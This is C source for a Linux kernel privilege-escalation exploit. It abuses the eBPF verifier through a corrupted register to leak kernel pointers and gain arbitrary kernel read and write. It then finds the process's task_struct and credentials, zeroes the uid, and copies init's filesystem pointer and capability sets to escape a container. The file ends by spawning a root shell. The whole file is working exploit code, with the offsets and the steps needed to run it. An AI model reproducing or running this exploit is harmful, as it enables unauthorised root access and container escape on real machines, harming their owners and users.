#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>


#include "exploit_prims.h"
#include "kernel_helpers.h"

int leak_map_ptr(context *ctx) {
    if (ctx->map_fd < 0) {
        printf("invalid map\n");
        return -1;
    }
    struct bpf_insn instrs[] = {

        CORRUPT_R6,

        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_9, /*src=*/BPF_REG_1, /*ins_class=*/BPF_ALU64),

        // Store magic number.
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0x0, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_1, /*imm=*/32, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0xCAFE, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_1, /*offset=*/-8),

        // Store ptr to first magic number on stack
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-8, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_2, /*offset=*/-32),

        // Store second magic number.
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0x0, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_1, /*imm=*/32, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_1, /*imm=*/0xBACA, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_1, /*offset=*/-16),

        // Load ptr to map, store in stack.
        BPF_LD_MAP_FD(/*dst=*/BPF_REG_4, ctx->map_fd),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_4, /*offset=*/-24),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_7, /*src=*/BPF_REG_4, /*ins_class=*/BPF_ALU64),

        // Load ptr to first element, save for later
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/0, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_0, /*offset=*/-40),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_4, /*ins_class=*/BPF_ALU64),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-36, /*ins_class=*/BPF_ALU64),
        BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*off=*/BPF_REG_1, /*ins_class=*/BPF_JMP),
        BPF_EXIT_INSN(),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),

        // Corrupt stack ptr with packet data.

        BPF_ALU_REG(BPF_MOV, BPF_REG_1, BPF_REG_9, BPF_ALU64),
        BPF_ALU_IMM(BPF_MOV, BPF_REG_2, 0, BPF_ALU64),
        BPF_ALU_REG(BPF_MOV, BPF_REG_3, BPF_REG_10, BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, BPF_REG_3, -40, BPF_ALU64),
        BPF_ALU_REG(BPF_MOV, BPF_REG_4, BPF_REG_6, BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, BPF_REG_4, 8, BPF_ALU64),
        BPF_ALU_IMM(BPF_MOV, BPF_REG_5, 1, BPF_ALU64),
        BPF_CALL_FUNC(BPF_FUNC_skb_load_bytes_relative),


        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/1, /*ins_class=*/BPF_ALU),
        BPF_MEM_OPERATION(BPF_STX, BPF_W, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_0, /*offset=*/-36),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_7, /*ins_class=*/BPF_ALU64),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-36, /*ins_class=*/BPF_ALU64),
        BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*off=*/BPF_REG_1, /*ins_class=*/BPF_JMP),
        BPF_EXIT_INSN(),

        BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_10, /*offset=*/-32),
        BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_1, /*offset=*/0),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_0, /*src=*/BPF_REG_2, /*offset=*/0),

        BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_1, /*offset=*/-8),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_2, /*offset=*/0),

        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),
        BPF_EXIT_INSN()
    };

    int prog_fd =load_prog(instrs, /*prog_len=*/sizeof(instrs) / sizeof(instrs[0]));
    if ( prog_fd < 0) {
        printf("Could not load program\n");
        return -1;
    }

    int offset = 0;
    int max_attempts = 256 * 256;

    uint64_t map_contents[ctx->map_size];
    memset(map_contents, 0, sizeof(map_contents));

    while (max_attempts != 0) {
        max_attempts--;
        offset+=8;
        offset %= 256;

        uint8_t data[100];
        memset(data, offset, sizeof(data));
        if (execute_bpf_program(ctx, prog_fd, map_contents, data, 100) != 0) {
            printf("Failed to execute program");
            return -1;
        }
        if (map_contents[1] == 0xbaca) {
            ctx->map_leak = map_contents[0];
            break;
        }
    }

    if (max_attempts == 0) {
        return -1;
    }

    close(prog_fd);
    return 0;
}


int load_kernel_page(context *ctx, uint64_t start_address) {
    if (ctx->kernel_memory == NULL) {
        ctx->kernel_memory = malloc(ctx->kernel_page_size);
        ctx->kernel_allocated_pages = 1;

    } else {
        ctx->kernel_memory = realloc(ctx->kernel_memory, ctx->kernel_page_size * (ctx->kernel_allocated_pages + 1));
        ctx->kernel_allocated_pages++;
    }

    if (!ctx->kernel_memory) {
        printf("Failed to allocate kernel memory page");
        return -1;
    }

    int index = (ctx->kernel_allocated_pages - 1) * (ctx->kernel_page_size);
    index = index/(sizeof(uint64_t));
    uint64_t *kernel_memory = (uint64_t*)ctx->kernel_memory;
    for (uint64_t i = 0; i < ctx->kernel_page_size; i+=8, index++) {
        uint64_t leak_value;
        if (read_from_address(ctx, start_address + i, &leak_value) != 0) {
            printf("could failed to read memory address while leaking kernel page\n");
            return -1;
        }
        kernel_memory[index] = leak_value; 
    }
    return 0; 

}

int leak_init_pid_ns_offset(context *ctx) {
    char init_pid_str[] = "init_pid";
    for (uint64_t i = 0; i < 0xFFFFFFF; i += ctx->kernel_page_size) {
        int kernel_page_no = i/ctx->kernel_page_size;
        if (kernel_page_no % 0x100 == 0) {
            printf("Ping! looking at kernel page no 0x%02x, next ping at page no: 0x%02x\n", kernel_page_no, kernel_page_no + 0x100);
        }
        if (load_kernel_page(ctx, ctx->ops_leak + i) < 0) {
            printf("failed to load initial kernel page\n");
            return -1;
        }
        char *page = (char *)(ctx->kernel_memory + i);
        int str_len = strlen(init_pid_str);
        for(int j = 0; j < (ctx->kernel_page_size - str_len); j++) {
            char *offset = page+j;
            if (strncmp(init_pid_str, (const char*)offset, str_len) == 0) {
                uint64_t init_pid_str_offset = (uint64_t) (offset - (char *)ctx->kernel_memory);
                printf("[+] found offset at: %lx\n", init_pid_str_offset);
                ctx->init_proc_ns_kstrtab = ctx->ops_leak + init_pid_str_offset;
                return 0;
            }
        }

    }
    return -1;
}

int find_init_pid_ns(context *ctx) {
    uint64_t memory_size = (ctx->kernel_page_size * ctx->kernel_allocated_pages);
    uint64_t kstrtab_addr = ctx->init_proc_ns_kstrtab;
    uint64_t start_addr = ctx->ops_leak;
    for (uint64_t i = 0; i < memory_size; i++, start_addr++) {
        uint32_t offset = *(uint32_t *)(ctx->kernel_memory + i);
        if (kstrtab_addr == start_addr + offset) {
            uint32_t value_offset = *(uint32_t*)(ctx->kernel_memory + i - 0x4);
            ctx->init_proc_ns_addr = start_addr + value_offset - 0x4;
            return 0;
        }
    }
    return -1;
}

int find_process_and_leak_credentials_container(context *ctx) {
    const char new_prog_name[] = "exploit";
    uint64_t task_list_offset = 0x5c8;
    uint64_t task_cred_offset = 0x720;
    if (prctl(PR_SET_NAME, new_prog_name, 0, 0, 0) != 0) {
        printf("could not set name\n");
    }

    uint64_t pid_struct, i, task_addr;
    uint64_t max_pid = 4 * 1024 * 1024;
    for (i = 1; i < max_pid; i++) {
        if (i % 10000 == 0) {
            printf("ping! looking at pid %ld\n", i);
        }
        pid_struct = (uint64_t) find_pid_ns(ctx, i);

        uint64_t pid_tasks_offset = 0x10;
        uint64_t first;

        if (i == 1 && !pid_struct) {
            printf("[-] could not leak pid struct of init_ps\n");
            return -1;
        }

        if (!pid_struct) continue;

        if (read_from_address(ctx, pid_struct + pid_tasks_offset, &first) != 0) {
            printf("[-] could not leak pid_struct tasks member addr\n");
            return -1;
        }

        if (!first) continue;
        task_addr = first - task_list_offset;
        uint64_t comm_addr = task_addr + 0x730; 

        if (i == 1) {
            uint64_t fs_offset = 0x760;
            if (read_from_address(ctx, task_addr + fs_offset, &ctx->init_pid_fs) != 0) {
                printf("[-] could not leak init_pid fs\n");
                return -1;
            }

            printf("[+] init pid fs: %lx\n", ctx->init_pid_fs);
            uint64_t init_pid_creds;
            if (read_from_address(ctx, task_addr + task_cred_offset, &init_pid_creds) != 0) {
                printf("[-] could not leak ini pid creds addr\n");
                return -1;
            }

            uint64_t cap_inh_off = 0x28;
            if (read_from_address(ctx, init_pid_creds + cap_inh_off, &ctx->init_pid_cap_inh) != 0) {
                printf("[-] could not leak cap inh\n");
                return -1;
            }
            printf("[+] init pid cap inh: %lx\n", ctx->init_pid_cap_inh);

            if (read_from_address(ctx, init_pid_creds + cap_inh_off + 0x8, &ctx->init_pid_cap_perm) != 0) {
                printf("[-] could not leak cap perm\n");
                return -1;
            }
            printf("[+] init pid cap perm: %lx\n", ctx->init_pid_cap_perm);

            if (read_from_address(ctx, init_pid_creds + cap_inh_off + 0x10, &ctx->init_pid_cap_eff) != 0) {
                printf("[-] could not leak cap eff\n");
                return -1;
            }
            printf("[+] init pid cap eff: %lx\n", ctx->init_pid_cap_eff);


        }

        char task_name[16];
        memset(task_name, 0, 16);
        if (kernel_read_bytes(ctx, comm_addr, task_name, 16) != 0) {
            printf("[-] could not read task name\n");
            return -1;
        }
        if (strcmp(task_name, new_prog_name) == 0) {
            printf("[+] found task\n");
            break;
        }
    }

    if (i == max_pid) {
        printf("[-] could not get pid_struct for process %ld", i);
        return -1;
    }

    printf("[+] pid struct for process %ld is at %lx\n", i, pid_struct);

    ctx->task_addr = task_addr;
    printf("[+] task_struct %lx\n", ctx->task_addr);

    if (read_from_address(ctx, ctx->task_addr + task_cred_offset, &ctx->creds_addr) != 0) {
        printf("[-] could not leak creds addr\n");
        return -1;
    }
    return 0;

}

int find_process_and_leak_credentials(context *ctx) {
    const char new_prog_name[] = "k3rn3lh4x";
    if (prctl(PR_SET_NAME, new_prog_name, 0, 0, 0) != 0) {
        printf("could not set name\n");
    }

    uint64_t pid_struct = (uint64_t) find_pid_ns(ctx, getpid());

    if (pid_struct == 0) {
        printf("[-] could not get pid_struct for process %d", getpid());
        return -1;
    }
    printf("[+] pid struct for process %d is at %lx\n", getpid(), pid_struct);

    uint64_t pid_tasks_offset = 0x10;
    uint64_t first;
    if (read_from_address(ctx, pid_struct + pid_tasks_offset, &first) != 0) {
        printf("[-] could not leak pid_struct tasks member addr\n");
        return -1;
    }

    printf("[+] first at %lx\n", first);
    uint64_t task_list_offset = 0x5c8;
    uint64_t task_cred_offset = 0x720;
    ctx->task_addr = first - task_list_offset;
    printf("[+] task_struct %lx\n", ctx->task_addr);

    if (read_from_address(ctx, ctx->task_addr + task_cred_offset, &ctx->creds_addr) != 0) {
        printf("[-] could not leak creds addr\n");
    }
    return 0;

}

int main() {

    context ctx;
    ctx.map_size = 4;
    ctx.map_fd = bpf_create_map(ctx.map_size);
    ctx.kernel_memory = NULL;
    ctx.kernel_page_size = 0x1000;
    ctx.kernel_allocated_pages = 1;

    if (ctx.map_fd < 0) {
        printf("could not create bpf map\n");
        return -1;
    }

    if (leak_map_ptr(&ctx) != 0) {
        printf("[-] Could not leak map!");
        return -1;
    }
    printf("[+] map_leak %lx\n", ctx.map_leak);

    if (prepare_read(&ctx) != 0) {
        printf("could not load program for arbitrary read\n");
        return -1;
    }

    if (read_from_address(&ctx, ctx.map_leak, &ctx.ops_leak) != 0) {
        printf("[-] Could not leak map_ops!\n");
        return -1;
    }

    printf("[+] ops = %02lx\n", ctx.ops_leak);
    printf("Attempting to find init_pid_ns string offset.. this will take a while, standby\n");
    if(leak_init_pid_ns_offset(&ctx) != 0) {
        printf("[-] could not find init_pid_ns offset!");
        return -1;
    }
    printf("[+] init_pid_ns string offset: %lx\n", ctx.init_proc_ns_kstrtab);

    if (find_init_pid_ns(&ctx) != 0) {
        printf("[-] could not find init_pid_ns address!");
        return -1;
    }
    printf("[+] init_pid_ns address: %lx\n", ctx.init_proc_ns_addr);

    printf("[.] Attempting to find pid cred %d\n", getpid());

    if(find_process_and_leak_credentials_container(&ctx) != 0 ) {
        printf("[-] Could not leak process credentials\n");
        return -1;
    }
    printf("[+] process credentials at: %lx\n", ctx.creds_addr);

    if (write_to_address(&ctx, ctx.creds_addr + 0x4, 0) != 0) {
        printf("[-] Could not patch credentials!\n");
        return -1;
    }
    
    uint64_t fs_offset = 0x760;
    uint64_t cap_inh_off = 0x28;
   
    if (write_to_address(&ctx, ctx.task_addr + fs_offset, ctx.init_pid_fs) != 0) {
        printf("[-] Could not patch credentials!\n");
        return -1;
    }

    if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off, ctx.init_pid_cap_inh) != 0) {
        printf("[-] Could not patch credentials!\n");
        return -1;
    }

    if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off + 0x8, ctx.init_pid_cap_perm) != 0) {
        printf("[-] Could not patch credentials!\n");
        return -1;
    }

    if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off + 0x10, ctx.init_pid_cap_eff) != 0) {
        printf("[-] Could not patch credentials!\n");
        return -1;
    }

    if (getuid() == 0) {
        printf("Kernel has been pwned, standby for root shell\n");
        system("/bin/bash");
    }


    return 0;
}
